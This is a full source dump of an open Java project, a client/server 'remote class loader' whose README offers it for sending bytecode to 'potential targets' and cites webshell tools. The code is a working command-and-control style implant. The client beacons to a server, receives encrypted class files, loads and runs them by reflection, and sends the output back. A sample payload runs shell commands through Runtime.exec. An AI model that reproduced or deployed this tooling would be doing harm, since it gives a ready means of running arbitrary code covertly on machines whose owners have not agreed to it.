├── .gitignore
├── .idea
├── .gitignore
├── artifacts
│ └── java_class_loader_jar.xml
├── compiler.xml
├── jarRepositories.xml
├── misc.xml
└── vcs.xml
├── README.md
├── pom.xml
├── src
└── main
│ ├── META-INF
│ └── MANIFEST.MF
│ └── java
│ ├── Client.java
│ ├── Database.java
│ ├── Encryption.java
│ ├── LoadClass.java
│ ├── META-INF
│ └── MANIFEST.MF
│ ├── Main.java
│ ├── Payload.java
│ ├── Server.java
│ ├── Settings.java
│ └── Utils.java
└── static
└── cb350880cb958301f950327f10128471059a1fe3.png
/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | out/
3 | release/
4 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/.idea/artifacts/java_class_loader_jar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/java_class_loader_jar
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.
7 |
8 |
9 | # Features
10 | - Client-server architecture
11 | - Remote loading of Java class files
12 | - In-transit encryption using ChaCha20 cipher
13 | - Settings defined via args
14 | - Keepalive mechanism to re-establish communication if server restarts
15 |
16 | # Installation
17 |
18 | Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version).
19 | Java version should be 11 or higher due to dependencies.
20 |
21 | [https://www.openlogic.com/openjdk-downloads](https://www.openlogic.com/openjdk-downloads)
22 |
23 |
24 |
25 | # Usage
26 |
27 | ```console
28 | $ java -jar java-class-loader.jar -help
29 |
30 | usage: Main
31 | -address address to connect (client) / to bind (server)
32 | -classfile filename of bytecode .class file to load remotely
33 | (default: Payload.class)
34 | -classmethod name of method to invoke (default: exec)
35 | -classname name of class (default: Payload)
36 | -client run as client
37 | -help print this message
38 | -keepalive keeps the client getting classfile from server every
39 | X seconds (default: 3 seconds)
40 | -key secret key - 256 bits in base64 format (if not
41 | specified it will generate a new one)
42 | -port port to connect (client) / to bind (server)
43 | -server run as server
44 | ```
45 |
46 | # Example
47 |
48 | Assuming you have the following Hello World payload in the `Payload.java` file:
49 |
50 | ```java
51 | //Payload.java
52 | public class Payload {
53 | public static String exec() {
54 | String output = "";
55 | try {
56 | output = "Hello world from client!";
57 | } catch (Exception e) {
58 | e.printStackTrace();
59 | }
60 | return output;
61 | }
62 | }
63 | ```
64 |
65 | Then you should compile and produce the respective `Payload.class` file.
66 |
67 | To run the server process listening on port 1337 on all net interfaces:
68 |
69 | ```console
70 | $ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
71 |
72 | Running as server
73 | Server running on 0.0.0.0:1337
74 | Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
75 | ```
76 |
77 |
78 | On the client side, you may use the same JAR package with the `-client` flag and use the symmetric key generated by server.
79 | Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are `Payload` and `String exec()` respectively). Additionally, you can specify `-keepalive` to keep the client requesting class file from server while maintaining the connection.
80 |
81 | ```console
82 | $ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
83 |
84 | Running as client
85 | Connecting to 192.168.1.73:1337
86 | Received 593 bytes from server
87 | Output from invoked class method: Hello world from client!
88 | Sent 24 bytes to server
89 | ```
90 |
91 |
92 | # References
93 |
94 | Refer to [https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/](https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/) for a blog post related with the development of this tool.
95 |
96 |
97 | 1. [https://github.com/rebeyond/Behinder](https://github.com/rebeyond/Behinder)
98 |
99 | 2. [https://github.com/AntSwordProject/antSword](https://github.com/AntSwordProject/antSword)
100 |
101 | 3. [https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/](https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/)
102 |
103 | 4. [https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis](https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis)
104 |
105 | 11. [https://xz.aliyun.com/t/2799](https://xz.aliyun.com/t/2799)
106 |
107 | 12. [https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7](https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7)
108 |
109 | 10. [https://venishjoe.net/post/dynamically-load-compiled-java-class/](https://venishjoe.net/post/dynamically-load-compiled-java-class/)
110 |
111 | 5. [https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php](https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php)
112 |
113 | 6. [https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/](https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/)
114 |
115 | 7. [https://openjdk.org/jeps/329](https://openjdk.org/jeps/329)
116 |
117 | 8. [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html)
118 |
119 | 9. [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html)
120 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | java-class-loader
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 11
13 | 11
14 |
15 |
16 |
17 |
22 |
23 | commons-cli
24 | commons-cli
25 | 1.5.0
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/src/main/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Main
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/Client.java:
--------------------------------------------------------------------------------
1 | import java.io.BufferedInputStream;
2 | import java.io.BufferedOutputStream;
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.net.Socket;
6 | import java.util.concurrent.ScheduledExecutorService;
7 |
8 | public class Client {
9 |
10 | private static Client inst = null;
11 | private final int REFRESH = 3000; // millis
12 | private final int RETRY = 3000; // millis
13 | private final Settings settings = Settings.getInstance();
14 | Encryption cipher = null;
15 | ScheduledExecutorService scheduler;
16 | private Socket socket = null;
17 |
18 | public Client() {
19 | }
20 |
21 | public static Client getInstance() {
22 | if (inst == null)
23 | inst = new Client();
24 |
25 | return inst;
26 | }
27 |
28 |
29 | private void connect(String address, int port) {
30 | while (!connectedSocket()) {
31 | try {
32 | System.out.println(String.format("Connecting to %s:%d", address, port));
33 | socket = new Socket(address, port);
34 | } catch (IOException e) {
35 | System.out.println(String.format("Error connecting to server %s:%d. Retrying in %d seconds...",
36 | settings.getAddress(), settings.getPort(), RETRY / 1000));
37 | try {
38 | Thread.sleep(RETRY);
39 | } catch (InterruptedException ex) {
40 | throw new RuntimeException(ex);
41 | }
42 | }
43 | }
44 | }
45 |
46 |
47 | private boolean connectedSocket() {
48 | return (socket != null && socket.isConnected() && !socket.isClosed());
49 |
50 | }
51 |
52 | public void run() {
53 |
54 | try {
55 | // Initialize encryption instance
56 | cipher = new Encryption(settings.getKey());
57 |
58 | BufferedInputStream in = null;
59 | BufferedOutputStream out = null;
60 |
61 | do {
62 | // Connect to server (retry if fails)
63 | connect(settings.getAddress(), settings.getPort());
64 |
65 | in = new BufferedInputStream(socket.getInputStream());
66 | out = new BufferedOutputStream(socket.getOutputStream());
67 |
68 | // Allocate space to store data received from server
69 | byte[] buffer = new byte[4096];
70 | ByteArrayOutputStream byteArrayStream = new ByteArrayOutputStream();
71 |
72 | // Receive classfile from server
73 | try {
74 | byteArrayStream.write(buffer, 0, in.read(buffer));
75 | } catch (Exception e) {
76 | System.out.println("Error receiving data from server");
77 | socket.close();
78 | socket = null;
79 | continue;
80 | }
81 |
82 | System.out.println(String.format("Received %d bytes from server",
83 | byteArrayStream.size()));
84 |
85 | // Load the received class
86 | LoadClass loader = new LoadClass(settings.getClassName(),
87 | settings.getClassMethod(),
88 | cipher.decrypt(byteArrayStream.toByteArray()));
89 |
90 | // Execute the payload and store the text output
91 | String output = loader.load();
92 | System.out.println("Output from invoked class method: " + output);
93 |
94 | // Encrypt the output and send back to server
95 | byte[] byteArrayOutput = cipher.encrypt(output.getBytes());
96 | out.write(cipher.encrypt(output.getBytes()));
97 | out.flush();
98 |
99 | System.out.println(String.format("Sent %d bytes to server", byteArrayOutput.length));
100 |
101 | Thread.sleep(REFRESH);
102 | } while (settings.getKeepalive());
103 |
104 | in.close();
105 | out.close();
106 | socket.close();
107 |
108 | } catch (IOException | InterruptedException e) {
109 | throw new RuntimeException(e);
110 | }
111 |
112 | }
113 |
114 | }
115 |
--------------------------------------------------------------------------------
/src/main/java/Database.java:
--------------------------------------------------------------------------------
1 | public class Database {
2 | // TODO: store clients, similar to C2, select classfiles/paylods, etc
3 | }
4 |
--------------------------------------------------------------------------------
/src/main/java/Encryption.java:
--------------------------------------------------------------------------------
1 | import javax.crypto.*;
2 | import javax.crypto.spec.ChaCha20ParameterSpec;
3 | import javax.crypto.spec.SecretKeySpec;
4 | import java.security.InvalidAlgorithmParameterException;
5 | import java.security.InvalidKeyException;
6 | import java.security.NoSuchAlgorithmException;
7 | import java.security.SecureRandom;
8 | import java.util.Base64;
9 |
10 | public class Encryption {
11 | // shitty crypto, just for testing
12 |
13 | private static final String CIPHER = "ChaCha20";
14 |
15 | private byte[] nonce;
16 | private int counter;
17 |
18 | private SecretKey key;
19 |
20 | Encryption() {
21 | new Encryption(null);
22 | }
23 |
24 | Encryption(String key) {
25 | this.nonce = getNonce();
26 | this.counter = 1;
27 |
28 | if (key == null) {
29 | // Generate new key
30 | this.key = genKey();
31 | System.out.println("Generated new key: " +
32 | Base64.getEncoder().encodeToString(this.key.getEncoded()));
33 | } else {
34 | // Use provided key
35 | byte[] decodedKey = Base64.getDecoder().decode(key);
36 | this.key = new SecretKeySpec(decodedKey, 0, decodedKey.length, "ChaCha20");
37 | }
38 | }
39 |
40 |
41 | public static SecretKey genKey() {
42 | try {
43 | KeyGenerator keyGen = KeyGenerator.getInstance("ChaCha20");
44 | keyGen.init(256, SecureRandom.getInstanceStrong());
45 | SecretKey generatedKey = keyGen.generateKey();
46 |
47 | return generatedKey;
48 | } catch (NoSuchAlgorithmException e) {
49 | throw new RuntimeException(e);
50 | }
51 | }
52 |
53 | private static byte[] getNonce() {
54 | // lmao, fix this
55 | byte[] newNonce = new byte[12];
56 | //new SecureRandom().nextBytes(newNonce);
57 | return newNonce;
58 | }
59 |
60 | public byte[] encrypt(byte[] plainText) {
61 | try {
62 | Cipher cipher = Cipher.getInstance(CIPHER);
63 | ChaCha20ParameterSpec param = new ChaCha20ParameterSpec(nonce, counter);
64 | cipher.init(Cipher.ENCRYPT_MODE, key, param);
65 | byte[] encryptedText = cipher.doFinal(plainText);
66 | return encryptedText;
67 |
68 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException |
69 | InvalidAlgorithmParameterException | IllegalBlockSizeException | BadPaddingException e) {
70 | throw new RuntimeException(e);
71 | }
72 | }
73 |
74 | public byte[] decrypt(byte[] cipherText) {
75 | try {
76 | Cipher cipher = Cipher.getInstance(CIPHER);
77 | ChaCha20ParameterSpec param = new ChaCha20ParameterSpec(nonce, counter);
78 | cipher.init(Cipher.DECRYPT_MODE, key, param);
79 | byte[] decryptedText = cipher.doFinal(cipherText);
80 | return decryptedText;
81 |
82 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException |
83 | InvalidAlgorithmParameterException | IllegalBlockSizeException | BadPaddingException e) {
84 | throw new RuntimeException(e);
85 | }
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/src/main/java/LoadClass.java:
--------------------------------------------------------------------------------
1 | import java.lang.reflect.InvocationTargetException;
2 | import java.lang.reflect.Method;
3 |
4 | public class LoadClass extends ClassLoader {
5 |
6 | String className = null;
7 | String methodName = null;
8 | byte[] data;
9 |
10 |
11 | public LoadClass(String className, String methodName, byte[] data) {
12 | this.className = className;
13 | this.methodName = methodName;
14 | this.data = data;
15 | }
16 |
17 | public String load() {
18 |
19 | String output = "";
20 | Class newClass = defineClass(className, data, 0, data.length);
21 | Method method = null;
22 |
23 | try {
24 | method = newClass.getMethod(methodName, null);
25 | Object o = method.invoke(null, null);
26 | output = (String) o;
27 | } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
28 | System.out.println("Error invoking class method");
29 | throw new RuntimeException(e);
30 | }
31 |
32 | return output;
33 | }
34 |
35 |
36 | }
37 |
--------------------------------------------------------------------------------
/src/main/java/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Main
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/Main.java:
--------------------------------------------------------------------------------
1 | import org.apache.commons.cli.CommandLine;
2 |
3 |
4 | public class Main {
5 |
6 |
7 | public static void main(String[] args) {
8 |
9 | // Parse arguments
10 | CommandLine cmd = Settings.parseArgs(args);
11 | if (cmd == null) {
12 | System.out.println("Use '-help' to get a list of commands.");
13 | return;
14 | }
15 |
16 | // Load settings from specified args
17 | Settings.loadSettings(cmd);
18 |
19 | // Run as client OR server
20 | if (cmd.hasOption("client")) {
21 | System.out.println("Running as client");
22 | Client.getInstance().run();
23 |
24 | } else if (cmd.hasOption("server")) {
25 | System.out.println("Running as server");
26 | Server.getInstance().run();
27 |
28 | } else {
29 | System.out.println("You must select to either run as -client or -server");
30 | }
31 |
32 | }
33 |
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/Payload.java:
--------------------------------------------------------------------------------
1 | import java.io.BufferedReader;
2 | import java.io.IOException;
3 | import java.io.InputStreamReader;
4 | import java.io.PrintWriter;
5 | import java.util.Properties;
6 |
7 | public class Payload {
8 |
9 | /*
10 | Sample class to load remotely.
11 | Class name, method and signature must match LoadClass.java definition.
12 | */
13 |
14 |
15 | /*
16 | public static String exec() {
17 | String output = "";
18 | try {
19 | output = "Hello world from client!";
20 | } catch (Exception e) {
21 | e.printStackTrace();
22 | }
23 | return output;
24 | }
25 |
26 | */
27 |
28 |
29 | /*
30 | public static String exec(){
31 | String output = "";
32 | try{
33 | Properties prop = System.getProperties();
34 | output = prop.toString().replaceAll(",", "\n");
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | return output;
39 | }
40 | */
41 |
42 |
43 | public static String exec(){
44 | String output = "";
45 | try {
46 | String os = System.getProperty("os.name");
47 | String cmd[];
48 | if(os.toLowerCase().contains("win")){
49 | cmd = new String[]{"powershell.exe", "-c", "Get-Process | Out-File -FilePath C:\\Users\\Public\\ps.txt"};
50 | }else{
51 | cmd = new String[]{"/bin/bash", "-c", "ps auxef > /tmp/ps.txt"};
52 | }
53 | Process proc = Runtime.getRuntime().exec(cmd);
54 | BufferedReader in = new BufferedReader(new
55 | InputStreamReader(proc.getInputStream()));
56 | BufferedReader err = new BufferedReader(new
57 | InputStreamReader(proc.getErrorStream()));
58 |
59 | String s = null;
60 | while ((s = in.readLine()) != null) {
61 | output += s;
62 | }
63 | while ((s = err.readLine()) != null) {
64 | output += s;
65 | }
66 |
67 | //System.exit(0);
68 | } catch (Exception e) {
69 | output = e.getMessage();
70 | e.printStackTrace();
71 | }
72 | return output;
73 | }
74 |
75 |
76 | }
77 |
--------------------------------------------------------------------------------
/src/main/java/Server.java:
--------------------------------------------------------------------------------
1 | import java.io.BufferedInputStream;
2 | import java.io.BufferedOutputStream;
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.net.ServerSocket;
6 | import java.net.Socket;
7 | import java.net.SocketException;
8 |
9 | public class Server {
10 | private static Server inst;
11 | private final Settings settings = Settings.getInstance();
12 | Encryption cipher;
13 | private Thread thread;
14 | private ServerSocket serverSocket;
15 | private ClientHandler clientHandler;
16 |
17 | public Server() {
18 | }
19 |
20 | public static Server getInstance() {
21 | if (inst == null)
22 | inst = new Server();
23 |
24 | return inst;
25 | }
26 |
27 |
28 | public void run() {
29 |
30 | try {
31 | serverSocket = new ServerSocket(settings.getPort());
32 | System.out.println(String.format("Server running on %s:%d ",
33 | settings.getAddress(), settings.getPort()));
34 | } catch (IOException e) {
35 | throw new RuntimeException(e);
36 | }
37 |
38 | cipher = new Encryption(settings.getKey());
39 |
40 | // Handle incoming connections and spawn new thread for each client
41 | while (true) {
42 | try {
43 | clientHandler = new ClientHandler(serverSocket.accept());
44 | } catch (IOException e) {
45 | throw new RuntimeException(e);
46 | }
47 |
48 | thread = new Thread(clientHandler);
49 | thread.start();
50 | }
51 | }
52 |
53 |
54 | class ClientHandler implements Runnable {
55 | private final Socket clientSocket;
56 |
57 | ClientHandler(Socket clientSocket) {
58 | this.clientSocket = clientSocket;
59 | }
60 |
61 | @Override
62 | public void run() {
63 |
64 | System.out.println(String.format("New client! [%s]",
65 | clientSocket.getLocalAddress().getHostAddress()));
66 |
67 | try {
68 | BufferedInputStream in = null;
69 | BufferedOutputStream out = null;
70 |
71 | while (clientSocket.isConnected() && !clientSocket.isClosed()) {
72 |
73 | in = new BufferedInputStream(clientSocket.getInputStream());
74 | out = new BufferedOutputStream(clientSocket.getOutputStream());
75 |
76 | // Send classfile to client
77 | byte[] classBytes = Utils.file2ByteArray(Settings.getInstance().getClassFile());
78 | out.write(cipher.encrypt(classBytes));
79 | out.flush();
80 | System.out.println(String.format("Sent %d bytes to client", classBytes.length));
81 |
82 | // Receive execution output from client
83 | byte[] buffer = new byte[4096];
84 | ByteArrayOutputStream byteArrayStream = new ByteArrayOutputStream();
85 |
86 | try {
87 | byteArrayStream.write(buffer, 0, in.read(buffer));
88 | } catch (RuntimeException e) {
89 | System.out.println("Error receiving data from client");
90 | continue;
91 | }
92 |
93 | System.out.println(String.format("Received %d bytes from client: %s", byteArrayStream.size(),
94 | new String(cipher.decrypt(byteArrayStream.toByteArray()))));
95 | }
96 |
97 | in.close();
98 | out.close();
99 | clientSocket.close();
100 |
101 | } catch (SocketException e) {
102 | System.out.println("Lost connection to client");
103 |
104 | } catch (IOException e) {
105 | throw new RuntimeException(e);
106 | }
107 |
108 |
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/src/main/java/Settings.java:
--------------------------------------------------------------------------------
1 | import org.apache.commons.cli.*;
2 |
3 | public class Settings {
4 | private static Settings inst = null;
5 | String key;
6 | String address;
7 | int port = 0;
8 | String classFile;
9 | String className;
10 | String classMethod;
11 | boolean keepalive = false;
12 |
13 | public Settings() {
14 | }
15 |
16 | public static CommandLine parseArgs(String[] args) {
17 |
18 | CommandLineParser parser = new DefaultParser();
19 |
20 | Options options = new Options();
21 | options.addOption("help", false, "print this message");
22 | options.addOption("client", false, "run as client");
23 | options.addOption("server", false, "run as server");
24 |
25 | options.addOption("address", true, "address to connect (client) / to bind (server)");
26 | options.addOption("port", true, "port to connect (client) / to bind (server)");
27 | options.addOption("key", true, "secret key - 256 bits in base64 format (if not specified it will generate a new one)");
28 |
29 | options.addOption("classfile", true, "filename of bytecode .class file to load remotely (default: Payload.class)");
30 | options.addOption("classname", true, "name of class (default: Payload)");
31 | options.addOption("classmethod", true, "name of method to invoke (default: exec)");
32 |
33 | options.addOption("keepalive", false, "keeps the client getting classfile from server every X seconds (default: 3 seconds)");
34 |
35 |
36 | // Parse command line
37 | CommandLine cmd = null;
38 | try {
39 | cmd = parser.parse(options, args);
40 | } catch (ParseException ex) {
41 | System.out.println(ex.getMessage());
42 | }
43 |
44 | // Display -help
45 | if (cmd.hasOption("help")) {
46 | HelpFormatter formatter = new HelpFormatter();
47 | formatter.printHelp("Main", options);
48 | return null;
49 | }
50 |
51 | return cmd;
52 | }
53 |
54 | public static void loadSettings(CommandLine cmd) {
55 |
56 | // Parse values
57 | String address = cmd.hasOption("address") ? cmd.getOptionValue("address") : "0.0.0.0";
58 | int port = cmd.hasOption("port") ? Integer.parseInt(cmd.getOptionValue("port")) : 31337;
59 | String key = cmd.hasOption("key") ? cmd.getOptionValue("key") : null;
60 | String classFile = cmd.hasOption("classfile") ? cmd.getOptionValue("classfile") : "Payload.class";
61 | String className = cmd.hasOption("classname") ? cmd.getOptionValue("classname") : "Payload";
62 | String classMethod = cmd.hasOption("classmethod") ? cmd.getOptionValue("classmethod") : "exec";
63 | boolean keepalive = cmd.hasOption("keepalive");
64 |
65 |
66 | // Define settings
67 | Settings settings = Settings.getInstance();
68 |
69 | settings.setAddress(address);
70 | settings.setPort(port);
71 | settings.setKey(key);
72 | settings.setClassFile(classFile);
73 | settings.setClassName(className);
74 | settings.setClassMethod(classMethod);
75 | settings.setKeepalive(keepalive);
76 | }
77 |
78 | public static Settings getInstance() {
79 | if (inst == null)
80 | inst = new Settings();
81 |
82 | return inst;
83 | }
84 |
85 | public boolean getKeepalive() {
86 | return keepalive;
87 | }
88 |
89 | public void setKeepalive(boolean keepalive) {
90 | this.keepalive = keepalive;
91 | }
92 |
93 | public String getClassFile() {
94 | return classFile;
95 | }
96 |
97 | public void setClassFile(String classFile) {
98 | this.classFile = classFile;
99 | }
100 |
101 | public String getClassName() {
102 | return className;
103 | }
104 |
105 | public void setClassName(String className) {
106 | this.className = className;
107 | }
108 |
109 | public String getClassMethod() {
110 | return classMethod;
111 | }
112 |
113 | public void setClassMethod(String classMethod) {
114 | this.classMethod = classMethod;
115 | }
116 |
117 | public String getKey() {
118 | return key;
119 | }
120 |
121 | public void setKey(String key) {
122 | this.key = key;
123 | }
124 |
125 | public String getAddress() {
126 | return address;
127 | }
128 |
129 | public void setAddress(String address) {
130 | this.address = address;
131 | }
132 |
133 | public int getPort() {
134 | return port;
135 | }
136 |
137 | public void setPort(int port) {
138 | this.port = port;
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/src/main/java/Utils.java:
--------------------------------------------------------------------------------
1 | import java.io.DataInputStream;
2 | import java.io.File;
3 | import java.io.FileInputStream;
4 | import java.io.IOException;
5 |
6 | public class Utils {
7 |
8 | public static byte[] file2ByteArray(String filePath) {
9 |
10 | try {
11 | File file = new File(filePath);
12 | DataInputStream reader = new DataInputStream(new FileInputStream(file));
13 | int bytesToRead = reader.available();
14 |
15 | if (bytesToRead > 0) {
16 | byte[] bytes = new byte[bytesToRead];
17 | reader.read(bytes);
18 | return bytes;
19 | }
20 |
21 | } catch (IOException e) {
22 | System.out.println("Error reading .class file for loading");
23 | throw new RuntimeException(e);
24 | }
25 |
26 | return new byte[]{};
27 | }
28 |
29 | }
30 |
--------------------------------------------------------------------------------
/static/cb350880cb958301f950327f10128471059a1fe3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/joaovarelas/java-remote-class-loader/7f5f79a6c682488e274435a5a25bb7e219ee5930/static/cb350880cb958301f950327f10128471059a1fe3.png
--------------------------------------------------------------------------------